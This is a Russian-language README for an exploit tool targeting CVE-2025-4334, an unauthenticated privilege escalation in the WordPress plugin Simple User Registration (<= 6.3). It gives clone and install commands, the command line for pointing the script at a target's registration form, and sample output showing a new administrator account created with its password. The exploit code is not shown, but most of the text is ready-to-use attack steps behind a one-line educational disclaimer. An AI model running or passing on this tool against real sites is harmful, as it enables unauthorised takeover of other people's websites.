CVE-2025-4334 - Simple User Registration <= 6.3 Неаутентифицированное повышение привилегий

Название эксплойта: Simple User Registration <= 6.3 – Неаутентифицированное повышение привилегий Автор: Gaurav Bhattacharjee (0xgh057r3c0n) CVE ID: CVE-2025-4334

Этот эксплойт нацелен на уязвимость в плагине Simple User Registration для WordPress (<= v6.3), позволяющую неаутентифицированным атакующим повысить привилегии и создать новую учетную запись администратора.

⚙️ Установка

Клонируйте репозиторий и установите необходимые зависимости Python:

git clone https://github.com/0xgh057r3c0n/CVE-2025-4334.git
cd CVE-2025-4334
pip3 install -r requirements.txt

Зависимости:

• requests
• colorama

🚀 Использование

python3 CVE-2025-4334.py -u <base_url> --form <form_url>

Аргументы:

• -u / --url → Базовый URL WordPress (например, https://target.com/wordpress/)
• --form → Полный URL формы регистрации (например, https://target.com/wpr/default-registration/)

Пример:

python3 CVE-2025-4334.py -u https://example.com/wordpress --form https://example.com/wpr/default-registration/

📜 Пример вывода

[*] Fetching form details...
[i] Extracted Nonce   : 1a2b3c4d5e
[i] Extracted Form ID : 12
[i] Referer Path      : /wpr/default-registration/
[*] Sending exploit payload...
[i] HTTP Response Code : 200
[i] Server Response    : {"success":true,"user_id":2}

[+] Exploitation Successful
[+] Username   : 0xgh057r3c0nadmin
[+] First Name : 0xgh057r3c0nadmin
[+] Last Name  : 0xgh057r3c0nadmin
[+] Email      : [email protected]
[+] Password   : Wiz007@8876@
[+] Role       : administrator

Exploit By : Gaurav Bhattacharjee (0xgh057r3c0n)

⚠️ Отказ от ответственности

Этот инструмент предоставляется только для образовательных и исследовательских целей. Несанкционированное использование против систем без разрешения противозаконно. Автор не несет ответственности за неправомерное использование.

📄 Лицензия

Этот проект лицензирован под MIT License.